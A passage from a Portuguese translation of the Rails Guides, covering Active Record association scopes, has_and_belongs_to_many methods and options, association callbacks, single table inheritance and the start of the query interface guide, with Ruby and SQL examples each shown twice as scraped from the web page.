class Author < ApplicationRecord has_many :chapters, -> { group 'books.id' }, through: :books end Copiar

4.3.3.4 includes

Você pode utilizar o método includes para especificar associações de segunda ordem que devem ser carregadas de forma adiantada quando esta associação for utilizada. Por exemplo, considere estes models:

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord
belongs_to :author
has_many :chapters
end

class Chapter < ApplicationRecord
belongs_to :book
end

class Author < ApplicationRecord has_many :books end class Book < ApplicationRecord belongs_to :author has_many :chapters end class Chapter < ApplicationRecord belongs_to :book end Copiar

Se você busca chapters com frequência de authors (@author.books.chapters), então você pode deixar o seu código ligeiramente mais eficiente ao incluir chapters na associação de authors para books:

class Author < ApplicationRecord
has_many :books, -> { includes :chapters }
end

class Book < ApplicationRecord
belongs_to :author
has_many :chapters
end

class Chapter < ApplicationRecord
belongs_to :book
end

class Author < ApplicationRecord has_many :books, -> { includes :chapters } end class Book < ApplicationRecord belongs_to :author has_many :chapters end class Chapter < ApplicationRecord belongs_to :book end Copiar

4.3.3.5 limit

O método limit permite restringir o número total de objetos que serão retornados através de uma associação.

class Author < ApplicationRecord
has_many :recent_books,
-> { order('published_at desc').limit(100) },
class_name: "Book"
end

class Author < ApplicationRecord has_many :recent_books, -> { order('published_at desc').limit(100) }, class_name: "Book" end Copiar

4.3.3.6 offset

O método permite especificar o deslocamento inicial ao buscar objetos do banco de dados através de uma associação. . Por exemplo, -> { offset(11) } pulará os primeiros 11 registros no banco de dados.

4.3.3.7 order

O método order determina a ordem pela qual objetos associados serão retornados (na sintaxe utilizada pela cláusula SQL ORDER BY).

class Author < ApplicationRecord
has_many :books, -> { order "date_confirmed DESC" }
end

class Author < ApplicationRecord has_many :books, -> { order "date_confirmed DESC" } end Copiar

4.3.3.8 readonly

Se você utilizar o método readonly, então os objetos associados só terão acesso de leitura quando retornados através da associação.

4.3.3.9 select

O método select permite sobrescrever a cláusula SQL SELECT que é utilizada para retornar dados sobre os objetos associados. Por padrão, o Rails retorna todas as colunas.

Se você especificar seu próprio select, certifique-se de incluir as colunas de chave primária e chave estrangeira do model associado. Se você não fizer isto, o Rails retornará um erro.

4.3.3.10 distinct

Utilize o método distinct para manter a coleção livre de objetos duplicados. Isto é mais útil junto com a opção :through.

class Person < ApplicationRecord
has_many :readings
has_many :articles, through: :readings
end

class Person < ApplicationRecord has_many :readings has_many :articles, through: :readings end Copiar

irb> person = Person.create(name: 'John')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]

person = Person.create(name: 'John') article = Article.create(name: 'a1') person.articles << article person.articles << article person.articles.to_a Reading.all.to_a Copiar

No caso acima há dois readings e person.articles retorna os dois apesar destes registros apontarem para o mesmo article.

Agora vamos especificar distinct:

class Person
has_many :readings
has_many :articles, -> { distinct }, through: :readings
end

class Person has_many :readings has_many :articles, -> { distinct }, through: :readings end Copiar

irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 7, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]

person = Person.create(name: 'Honda') article = Article.create(name: 'a1') person.articles << article person.articles << article person.articles.to_a Reading.all.to_a Copiar

No caso acima ainda há dois readings. Contudo, person.articles mostra apenas um article porque a coleção carrega apenas registros únicos.

Se você quiser ter certeza que, ao inserir dados novos no banco, todos os registros na associação persistida sejam distintos (de forma que você também possa ter certeza que quando inspecionar a associação, não achará dados duplicados), você deve colocar um índice único na própria tabela. Por exemplo, se você tem uma tabela chamada readings e você quer ter certeza que os articles sejam adicionados por uma person apenas uma vez, você pode colocar o seguinte em uma migração:

add_index :readings, [:person_id, :article_id], unique: true

add_index :readings, [:person_id, :article_id], unique: true Copiar

Uma vez que você tenha este índice único, tentar incluir um article a uma person duas vezes retornará um erro ActiveRecord::RecordNotUnique:

irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
ActiveRecord::RecordNotUnique

person = Person.create(name: 'Honda') article = Article.create(name: 'a1') person.articles << article person.articles << article Copiar

Note que conferir por unicidade utilizando algo como include? está sujeito a race conditions (Exemplo: https://pt.wikipedia.org/wiki/Condi%C3%A7%C3%A3o_de_corrida). Não tente utilizar include? para impor que objetos sejam distintos em um associação. Por exemplo, utilizando o exemplo de article acima, o código seguinte teria uma race condition porque múltiplos usuários podem tentar isto ao mesmo tempo:

person.articles << article unless person.articles.include?(article)

person.articles << article unless person.articles.include?(article) Copiar

4.3.4 Quando os Objetos são Salvos?

Quando você atribui um objeto a uma associação has_many, este objeto será salvo automaticamente (para atualizar sua chave estrangeira). Se você atribuir vários objetos em uma declaração, então todos serão salvos.

Se qualquer uma destas operações de escrita falharem devido a erros de validação, então a atribuição retornará false e a atribuição em si será cancelada.

Se o objeto pai (o que declarar a associação has_many) não for salvo (isto é, new_record? retorna true) então os objetos filhos não serão salvos quando forem adicionados à coleção. Todos os membros da associação que não forem salvos anteriormente serão salvos automaticamente quando o objeto pai for salvo.

Se você quiser atribuir um objeto para uma associação has_many sem salvar o objeto, utilize o método collection.build.

4.4 Referência da Associação has_and_belongs_to_many

A associação has_and_belongs_to_many cria uma relação muitos-para-muitos com outro model. Em termos do banco de dados, isto associa duas classes através de uma tabela de junção intermediária que inclui chaves estrangeiras fazendo referência a cada classe.

4.4.1 Métodos Adicionados por has_and_belongs_to_many

Quando você declara uma associação has_and_belongs_to_many, a classe declarada ganha automaticamente vários métodos relacionados à associação:

- collection

- collection<<(object, ...)

- collection.delete(object, ...)

- collection.destroy(object, ...)

- collection=(objects)

- collection_singular_ids

- collection_singular_ids=(ids)

- collection.clear

- collection.empty?

- collection.size

- collection.find(...)

- collection.where(...)

- collection.exists?(...)

- collection.build(attributes = {})

- collection.create(attributes = {})

- collection.create!(attributes = {})

- collection.reload

Em todos estes métodos, collection será substituído pelo symbol passado como primeiro argumento para has_and_belongs_to_many, e collection_singular será substituído com a versão singular daquele symbol. Por exemplo, dada a declaração:

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

class Part < ApplicationRecord has_and_belongs_to_many :assemblies end Copiar

Cada instância do model Part terá estes métodos:

assemblies
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
assemblies=(objects)
assembly_ids
assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})
assemblies.reload

assemblies assemblies<<(object, ...) assemblies.delete(object, ...) assemblies.destroy(object, ...) assemblies=(objects) assembly_ids assembly_ids=(ids) assemblies.clear assemblies.empty? assemblies.size assemblies.find(...) assemblies.where(...) assemblies.exists?(...) assemblies.build(attributes = {}, ...) assemblies.create(attributes = {}) assemblies.create!(attributes = {}) assemblies.reload Copiar

4.4.1.1 Métodos Adicionais de Coluna

Se a tabela de junção para uma associação has_and_belongs_to_many tem colunas adicionais além das duas chaves estrangeiras, estas colunas serão adicionadas como atributos dos registros retornados através da associação. Registros retornados com atributos adicionais apenas poderão ter acesso de leitura, porque o Rails não pode salvar mudanças destes atributos.

O uso de atributos extras na tabela de junção em uma associação has_and_belongs_to_many está deprecado. Se você necessitar deste tipo de comportamento complexo na tabela que liga dois models em uma relação muitos-para-muitos, você deve utilizar uma associação has_many :through ao invés de uma associação has_and_belongs_to_many.

4.4.1.2 collection

O método collection retorna uma Relation de todos os objetos associados. Se não há objetos associados, ele retorna uma Relation vazia.

@assemblies = @part.assemblies

@assemblies = @part.assemblies Copiar

4.4.1.3 collection<<(object, ...)

O método collection<< acrescenta um ou mais objetos à coleção criando dados na tabela de junção.

@part.assemblies << @assembly1

@part.assemblies << @assembly1 Copiar

Este método pode ser chamado como collection.concat e collection.push.

4.4.1.4 collection.delete(object, ...)

O método collection.delete remove um ou mais objetos da coleção deletando dados da tabela de junção. Isto não destrói os objetos.

@part.assemblies.delete(@assembly1)

@part.assemblies.delete(@assembly1) Copiar

4.4.1.5 collection.destroy(object, ...)

O método collection.destroy remove um ou mais objetos da coleção deletando dados da tabela de junção. Isto não destrói os objetos.

@part.assemblies.destroy(@assembly1)

@part.assemblies.destroy(@assembly1) Copiar

4.4.1.6 collection=(objects)

O método collection= faz com que a coleção contenha apenas os objetos fornecidos, ao adicionar e deletar da forma que for mais apropriada. As mudanças são persistidas no banco de dados.

4.4.1.7 collection_singular_ids

O método collection_singular_ids retorna um array de ids dos objetos na coleção.

@assembly_ids = @part.assembly_ids

@assembly_ids = @part.assembly_ids Copiar

4.4.1.8 collection_singular_ids=(ids)

O método collection= faz com que a coleção contenha apenas os objetos identificados pelo valor das chaves primárias fornecidas, adicionando e deletando da forma que for mais apropriada. As mudanças são persistidas no banco de dados.

4.4.1.9 collection.clear

O método collection.clear remove todos os objetos da coleção deletando todas as linhas da tabela de junção. Isto não destrói os objetos associados.

4.4.1.10 collection.empty?

O método collection.empty? retorna true se a coleção não contiver nenhum objeto associado.

<% if @part.assemblies.empty? %>
This part is not used in any assemblies
<% end %>

<% if @part.assemblies.empty? %> This part is not used in any assemblies <% end %> Copiar

4.4.1.11 collection.size

O método collection.size retorna o número de objetos na coleção.

@assembly_count = @part.assemblies.size

@assembly_count = @part.assemblies.size Copiar

4.4.1.12 collection.find(...)

O método collection.find procura objetos dentro da tabela da coleção.

@assembly = @part.assemblies.find(1)

@assembly = @part.assemblies.find(1) Copiar

4.4.1.13 collection.where(...)

O método collection.where procura objetos dentro da coleção com base nas condições fornecidas mas os objetos serão carregados apenas quando necessário (lazy loading) significando que o banco de dados é consultado apenas quando os objetos são acessados.

@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)

@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) Copiar

4.4.1.14 collection.exists?(...)

O método collection.exists? confere se um objeto que atende às condições fornecidas existe na tabela da coleção.

4.4.1.15 collection.build(attributes = {})

O método collection.build retorna um objeto novo do tipo associado. O objeto será instanciado com base nos atributos passados para o método e será criada uma ligação através de uma chave estrangeira, mas o objeto associado não será salvo ainda.

@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})

@assembly = @part.assemblies.build({assembly_name: "Transmission housing"}) Copiar

4.4.1.16 collection.create(attributes = {})

O método collection.create retorna um objeto novo do tipo associado. Este objeto será instanciado com base nos atributos que foram passados para o método, a ligação através da tabela de junção será criado, e, uma vez que o objeto passe por todas as validações especificadas no model associado, o objeto associado será salvo.

@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})

@assembly = @part.assemblies.create({assembly_name: "Transmission housing"}) Copiar

4.4.1.17 collection.create!(attributes = {})

Faz o mesmo que collection.create, mas retorna ActiveRecord::RecordInvalid se o dado for inválido.

4.4.1.18 collection.reload

O método collection.reload retorna uma Relation de todos os objetos associados, forçando uma leitura do banco de dados. Se não houver objetos associados, ele retorna uma Relation vazia.

@assemblies = @part.assemblies.reload

@assemblies = @part.assemblies.reload Copiar

4.4.2 Opções para has_and_belongs_to_many

Embora o Rails utilize padrões inteligentes que funcionarão bem na maioria das situações, pode haver momentos onde você queira customizar o comportamento da referência da associação has_and_belongs_to_many. Tais customizações podem ser feitas facilmente ao passar opções quando você cria a associação. Por exemplo, esta associação usa duas destas opções:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { readonly },
autosave: true
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { readonly }, autosave: true end Copiar

A associação has_and_belongs_to_many tem suporte para estas opções:

- :association_foreign_key

- :autosave

- :class_name

- :foreign_key

- :join_table

- :validate

4.4.2.1 :association_foreign_key

Por convenção, o Rails presume que a coluna na tabela de junção utilizada para guardar a chave estrangeira que aponta para o outro model tem o nome daquele model com o sufixo _id acrescentado. A opção :association_foreign_key permite especificar o nome da chave estrangeira diretamente:

As opções :foreign_key e :association_foreign_key são úteis quando você configura uma relação muitos-para-muitos entre o mesmo model. Por exemplo:

class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end

class User < ApplicationRecord has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", association_foreign_key: "other_user_id" end Copiar

4.4.2.2 :autosave

Se você configurar a opção :autosave para true, o Rails salvará qualquer membro da associação carregada e destruirá membros que forem marcados para destruição quando você salvar o objeto pai. Ao configurar :autosave para false não é o mesmo que configurar a opção :autosave. Se a opção :autosave não estiver presente, então novos objetos associados serão salvos, mas objetos associados que forem atualizados não serão salvos.

4.4.2.3 :class_name

Se o nome do outro model não puder ser derivado a partir do nome da associação, você pode usar a opção :class_name para fornecer o nome do model. Por exemplo, se uma part tem muitas assemblies, mas o nome de fato do model contendo assemblies é Gadget, esta configuração seria necessária:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, class_name: "Gadget"
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, class_name: "Gadget" end Copiar

4.4.2.4 :foreign_key

Por convenção, o Rails presume que a coluna na tabela de junção utilizada para armazenar a chave estrangeira apontando para este model é o nome deste model com o sufixo _id acrescentado. A opção :foreign_key permite que você atribua o nome da chave estrangeira diretamente:

class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end

class User < ApplicationRecord has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", association_foreign_key: "other_user_id" end Copiar

4.4.2.5 :join_table

Se o nome padrão da tabela de junção, baseado no ordenamento léxico, não for o que você quer, você pode utilizar a opção :join_table para sobrescrever o nome padrão.

4.4.2.6 :validate

Se você configurar a opção :validate como false, então os objetos associados não serão validados quando você salvar este objeto. Por padrão, este valor é true: objetos associados serão validados quando este objeto for salvo.

4.4.3 Escopos para has_and_belongs_to_many

Podem haver momentos onde você pode querer customizar a consulta utilizada por has_and_belongs_to_many. Estas customizações podem ser feitas através de um bloco de escopo. Por exemplo:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { where active: true }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where active: true } end Copiar

Você pode utilizar qualquer um dos métodos padrão de consulta abaixo dentro do bloco de escopo. Os métodos seguintes são discutidos abaixo:

- where

- extending

- group

- includes

- limit

- offset

- order

- readonly

- select

- distinct

4.4.3.1 where

O método where permite especificar as condições que o objeto associado deve atender.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where "factory = 'Seattle'" }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where "factory = 'Seattle'" } end Copiar

Você também pode especificar condições através de um hash:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where factory: 'Seattle' }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { where factory: 'Seattle' } end Copiar

Se você utilizar a opção where no estilo hash, então a criação de dados através desta associação terá o escopo limitado automaticamente utilizando o hash. Neste caso, utilizar @parts.assemblies.create ou @parts.assemblies.build criará orders onde a coluna factory terá o valor "Seattle".

4.4.3.2 extending

O método extending específica um módulo com nome para estender a delegação da associação. Extensões de associações são discutidas com detalhes mais pra frente neste guia.

4.4.3.3 group

O método group fornece um nome de atributo para agrupar o resultado da consulta ao banco de dados, utilizando a cláusula GROUP BY na busca SQL.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { group "factory" }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { group "factory" } end Copiar

4.4.3.4 includes

Você pode utilizar o método includes para especificar associações de segunda ordem que devem ser carregadas com antecedêncai quando esta associação for utilizada.

4.4.3.5 limit

O método limit permite restringir o número total de objetos que serão retornados através de uma associação.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order("created_at DESC").limit(50) }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { order("created_at DESC").limit(50) } end Copiar

4.4.3.6 offset

O método permite especificar o deslocamento inicial ao buscar objetos do banco de dados através de uma associação. Por exemplo, se você utilizar offset(11), ele pulará os primeiros 11 registros no banco de dados.

4.4.3.7 order

O método order determina a ordem pela qual objetos associados serão retornados (na sintaxe utilizada pela cláusula SQL ORDER BY).

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order "assembly_name ASC" }
end

class Parts < ApplicationRecord has_and_belongs_to_many :assemblies, -> { order "assembly_name ASC" } end Copiar

4.4.3.8 readonly

Se você utilizar o método readonly, então os objetos associados só terão acesso de leitura quando retornados através da associação.

4.4.3.9 select

O método select permite sobrescrever a cláusula SQL SELECT que é utilizada para retornar dados sobre os objetos associados. Por padrão, o Rails retorna todas as colunas.

4.4.3.10 distinct

Utilize o método distinct para remover objetos duplicados da coleção.

4.4.4 Quando os Objetos são Salvos?

Quando você atribui um objeto a uma associação has_and_belongs_to_many, este objeto será salvo automaticamente (para atualizar a tabela de junção). Se você atribuir vários objetos em uma declaração, então todos serão salvos.

Se qualquer uma destas operações de escrita falharem devido a erros de validação, então a atribuição retornará false e a atribuição em si será cancelada.

Se o objeto pai (o que declarar a associação has_and_belongs_to_many) não for salvo (isto é, new_record? retorna true) então os objetos filhos não serão salvos quando forem adicionados à coleção. Todos os membros da associação que não forem salvos anteriormente serão salvos automaticamente quando o objeto pai for salvo.

Se você quiser atribuir um objeto para uma associação has_and_belongs_to_many sem salvar o objeto, utilize o método collection.build.

4.5 Callbacks de Associação

Callbacks normais aparecem no ciclo de vida dos objetos do Active Record, permitindo trabalhar com estes objetos em vários pontos. Por exemplo, você pode utilizar callbacks :before_save para fazer com que algo aconteça logo antes de salvar o objeto.

Callbacks de associação são similares a callbacks normais, mas eles são ativados por eventos no ciclo de vida de uma coleção. Há quatro callbacks de associação disponíveis:

- before_add

- after_add

- before_remove

- after_remove

Você define callbacks de associação ao adicionar opções à declaração da associação. Por exemplo:

class Author < ApplicationRecord
has_many :books, before_add: :check_credit_limit

def check_credit_limit(book)
# ...
end
end

class Author < ApplicationRecord has_many :books, before_add: :check_credit_limit def check_credit_limit(book) # ... end end Copiar

O Rails passa o objeto que é adicionado ou removido do callback.

Você pode empilhar callbacks em um único evento ao passá-los como um array:

class Author < ApplicationRecord
has_many :books,
before_add: [:check_credit_limit, :calculate_shipping_charges]

def check_credit_limit(book)
# ...
end

def calculate_shipping_charges(book)
# ...
end
end

class Author < ApplicationRecord has_many :books, before_add: [:check_credit_limit, :calculate_shipping_charges] def check_credit_limit(book) # ... end def calculate_shipping_charges(book) # ... end end Copiar

Se um callback before_add retorna a exceção :abort, o objeto não será adicionado à coleção. De forma similar, se um callback before_remove retorna a exceção :abort, o objeto não será removido da coleção.

# livros não serão adicionado se o limite foi atingido
def check_credit_limit(book)
throw(:abort) if limit_reached?
end

# livros não serão adicionado se o limite foi atingido def check_credit_limit(book) throw(:abort) if limit_reached? end Copiar

Estes callbacks são chamados apenas quando os objetos associados são adicionados ou removidos através da coleção da associação:

# Ativa o *callback* `before_add`
author.books << book
author.books = [book, book2]

# Não ativa o *callback* `before_add`
book.update(author_id: 1)

# Ativa o *callback* `before_add` author.books << book author.books = [book, book2] # Não ativa o *callback* `before_add` book.update(author_id: 1) Copiar

4.6 Association Extensions

Suas opções não estão limitadas às funcionalidades que o Rails monta automaticamente nos objetos de referência da associação. Você também pode extender estes objetos através de módulos anônimos, acrescentar finders novos, creators, ou outros métodos. Por exemplo:

class Author < ApplicationRecord
has_many :books do
def find_by_book_prefix(book_number)
find_by(category_id: book_number[0..2])
end
end
end

class Author < ApplicationRecord has_many :books do def find_by_book_prefix(book_number) find_by(category_id: book_number[0..2]) end end end Copiar

Se você tem uma extensão que deve ser compartilhada por várias associações, você pode utilizar um módulo de extensão com nome. Por exemplo:

module FindRecentExtension
def find_recent
where("created_at > ?", 5.days.ago)
end
end

class Author < ApplicationRecord
has_many :books, -> { extending FindRecentExtension }
end

class Supplier < ApplicationRecord
has_many :deliveries, -> { extending FindRecentExtension }
end

module FindRecentExtension def find_recent where("created_at > ?", 5.days.ago) end end class Author < ApplicationRecord has_many :books, -> { extending FindRecentExtension } end class Supplier < ApplicationRecord has_many :deliveries, -> { extending FindRecentExtension } end Copiar

Extensões podem fazer referência a detalehs internos do objeto de referência da associação utilizando estes três atributos do acessor proxy_association:

- proxy_association.owner retorna o objeto do qual a associação faz parte.

- proxy_association.reflection retorna o objeto de reflexão que descreve a associação.

- proxy_association.target retorna o objeto associado para belongs_to ou has_one, ou a coleção de objetos associados para has_many ou has_and_belongs_to_many.

5 Single Table Inheritance (STI)

Às vezes é desejável compartilhar atributos e comportamento entre models. Vamos dizer que temos models Car, Motorcycle e Bicycle. Queremos compartilhar os atributos de color e price e também alguns métodos para estes atributos, mas ainda mantendo comportamentos específicos para cada um deles, incluindo controllers separados.

Primeiro, vamos gerar o model de base, Vehicle:

$ bin/rails generate model vehicle type:string color:string price:decimal{10.2}

bin/rails generate model vehicle type:string color:string price:decimal{10.2} Copiar

Você notou que estamos adicionando um atributo type? Dado que todos os models serão armazenados em uma única tabela, o Rails vai armazenar o nome do model nesse atributo. No nosso exemplo, as possibilidades são Car, Motorcycle ou Bicycle. STI não funciona sem um atributo type na tabela.

Em seguida, vamos gerar os três models Car que herdam de Vehicle. Para isso podemos usar a opção --parent=PARENT que vai gerar um model que herda do "parent" especificado e sem uma migration equivalente (dado que a tabela já existe).

Por exemplo, para gerar o model Car:

$ bin/rails generate model car --parent=Vehicle

bin/rails generate model car --parent=Vehicle Copiar

O model gerado vai parecer com:

class Car < Vehicle
end

class Car < Vehicle end Copiar

Isso significa que todo o comportamento adicionado à classe Vehicle estará disponível também na classe Car, incluindo as associações, métodos públicos, etc.

Criar um carro vai armazená-lo na tabela vehicles e popular o atributo type com o valor "Car":

Car.create(color: 'Red', price: 10000)

Car.create(color: 'Red', price: 10000) Copiar

vai gerar o seguinte SQL:

INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)

INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000) Copiar

A query (consulta) por registros de carros vai buscar veiculos que são do tipo Car.

Car.all

Car.all Copiar

vai executar a seguinte query:

SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')

SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car') Copiar

Interface de Consulta do Active Record...

1 O que é a Interface do Active Record para Queries?

Se você está acostumado com SQL puro para encontrar registros no banco de dados, então você provavelmente encontrará maneiras melhores de realizar as mesmas operações no Rails. O Active Record te isola da necessidade de usar o SQL na maioria dos casos.

O Active Record fará consultas no banco de dados para você e é compatível com a maioria dos sistemas de banco de dados, incluindo MySQL, MariaDB, PostgreSQL e SQLite. Independentemente de qual sistema de banco de dados você está usando, o formato dos métodos do Active Record será sempre o mesmo.

Os exemplos de código ao longo desse guia irão se referir à um ou mais dos seguintes modelos:

Todos os models seguintes utilizam id como primary key (chave primária), a não ser quando especificado o contrário.

class Author < ApplicationRecord
has_many :books, -> { order(year_published: :desc) }
end

class Author < ApplicationRecord has_many :books, -> { order(year_published: :desc) } end Copiar

class Book < ApplicationRecord
belongs_to :supplier
belongs_to :author
has_many :reviews
has_and_belongs_to_many :orders, join_table: 'books_orders'

scope :in_print, -> { where(out_of_print: false) }
scope :out_of_print, -> { where(out_of_print: true) }
scope :old, -> { where('year_published < ?', 50.years.ago )}
scope :out_of_print_and_expensive, -> { out_of_print.where('price > 500') }
scope :costs_more_than, ->(amount) { where('price > ?', amount) }
end

class Book < ApplicationRecord belongs_to :supplier belongs_to :author has_many :reviews has_and_belongs_to_many :orders, join_table: 'books_orders' scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } scope :old, -> { where('year_published < ?', 50.years.ago )} scope :out_of_print_and_expensive, -> { out_of_print.where('price > 500') } scope :costs_more_than, ->(amount) { where('price > ?', amount) } end Copiar

class Customer < ApplicationRecord
has_many :orders
has_many :reviews
end

class Customer < ApplicationRecord has_many :orders has_many :reviews end Copiar

class Order < ApplicationRecord
belongs_to :customer
has_and_belongs_to_many :books, join_table: 'books_orders'

enum status: [:shipped, :being_packed, :complete, :cancelled]

scope :created_before, ->(time) { where('created_at < ?', time) }
end

class Order < ApplicationRecord belongs_to :customer has_and_belongs_to_many :books, join_table: 'books_orders' enum status: [:shipped, :being_packed, :complete, :cancelled] scope :created_before, ->(time) { where('created_at < ?', time) } end Copiar

class Review < ApplicationRecord
belongs_to :customer
belongs_to :book

enum state: [:not_reviewed, :published, :hidden]
end

class Review < ApplicationRecord belongs_to :customer belongs_to :book enum state: [:not_reviewed, :published, :hidden] end Copiar

class Supplier < ApplicationRecord
has_many :books
has_many :authors, through: :books
end

class Supplier < ApplicationRecord has_many :books has_many :authors, through: :books end Copiar

2 Recuperando Objetos do Banco de Dados

Para recuperar objetos do banco de dados, o Active Record fornece diversos métodos de localização. Cada método de localização permite que você passe argumentos para o mesmo para executar determinada consulta no seu banco de dados sem a necessidade de escrever SQL puro.

Os métodos são:

- annotate

- find

- create_with

- distinct

- eager_load

- extending

- extract_associated

- from

- group

- having

- includes

- joins

- left_outer_joins

- limit

- lock

- none

- offset

- optimizer_hints

- order

- preload

- readonly

- references

- reorder

- reselect

- reverse_order

- select

- where

Métodos de localização que retornam uma coleção, como o where e group, retornam uma instância do ActiveRecord::Relation. Os métodos que localizam uma única entidade, como o find e o first, retornam uma única instância do model.

A principal operação do Model.find(options) pode ser resumida como:

- Converter as opções fornecidas em uma consulta equivalente no SQL.

- Disparar uma consulta SQL e recuperar os resultados correspondentes no banco de dados.

- Instanciar o objeto Ruby equivalente do model apropriado para cada linha resultante.

- Executar after_find e, em seguida, retornos de chamada com after_initialize, se houver.

2.1 Retornando um Único Objeto

O Active Record possui diferentes formas de retornar um único objeto.

2.1.1 find

Utilizando o método find, você pode retornar o objeto correspondente à primary key especificada que corresponde às opções fornecidas. Por exemplo:

# Encontra o cliente com a primary key (id) 10.
irb> customer = Customer.find(10)
=> #<Customer id: 10, first_name: "Ryan">

customer = Customer.find(10) Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1

SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1 Copiar

O método find irá gerar uma exceção ActiveRecord::RecordNotFound se nenhum registro correspondente for encontrado.

Você pode, também, utilizar este método para consultar múltiplos objetos. Chame o método find e passe um array de primary keys. Será retornado um array contendo todos os registros correspondentes para as primary keys fornecidas. Por exemplo:

# Encontra os clientes com as primary keys 1 e 10.
irb> customers = Customer.find([1, 10]) # OU Customer.find(1, 10)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 10, first_name: "Ryan">]

customers = Customer.find([1, 10]) # OU Customer.find(1, 10) Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers WHERE (customers.id IN (1,10))

SELECT * FROM customers WHERE (customers.id IN (1,10)) Copiar

O método find irá gerar uma excecão ActiveRecord::RecordNotFound a não ser que um registro correspondente seja encontrado para todas as primary keys fornecidas.

2.1.2 take

O método take retorna um registro sem nenhuma ordem implícita. Por exemplo:

irb> customer = Customer.take
=> #<Customer id: 1, first_name: "Lifo">

customer = Customer.take Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers LIMIT 1

SELECT * FROM customers LIMIT 1 Copiar

O método take retorna nil se nenhum registro for encontrado e nenhuma exceção será disparada.

Você pode passar um argumento numérico para o método take para retornar o mesmo número em resultados. Por exemplo:

irb> customers = Customer.take(2)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 220, first_name: "Sara">]

customers = Customer.take(2) Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers LIMIT 2

SELECT * FROM customers LIMIT 2 Copiar

O método take! se comporta exatamente como o take, exceto que irá gerar uma exceção ActiveRecord::RecordNotFound caso não encontre nenhum registro correspondente.

O registro retornado pode variar dependendo do mecanismo do banco de dados.

2.1.3 first

O método first encontra o primeiro registro ordenado pela primary key (padrão). Por exemplo:

irb> customer = Customer.first
=> #<Customer id: 1, first_name: "Lifo">

customer = Customer.first Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1

SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1 Copiar

O método first retorna nil se não for encontrado nenhum registro correspondente e nenhuma exceção é gerada.

Se o seu default scope contém um método de ordenação, first irá retornar o primeiro registro de acordo com essa ordenação.

Você pode passar um argumento número para o métoddo first para retornar o mesmo número em resultados. Por exemplo:

irb> customers = Customer.first(3)
=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 2, first_name: "Fifo">, #<Customer id: 3, first_name: "Filo">]

customers = Customer.first(3) Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3

SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3 Copiar

Em uma coleção ordenada utilizando o order, first irá retornar o primeiro registro que foi ordenado com o atributo especificado em order.

irb> customer = Customer.order(:first_name).first
=> #<Customer id: 2, first_name: "Fifo">

customer = Customer.order(:first_name).first Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1

SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1 Copiar

O método first! se comporta exatamente como o first, exceto que irá gerar uma exceção ActiveRecord::RecordNotFound se nenhum registro correspondente for encontrado.
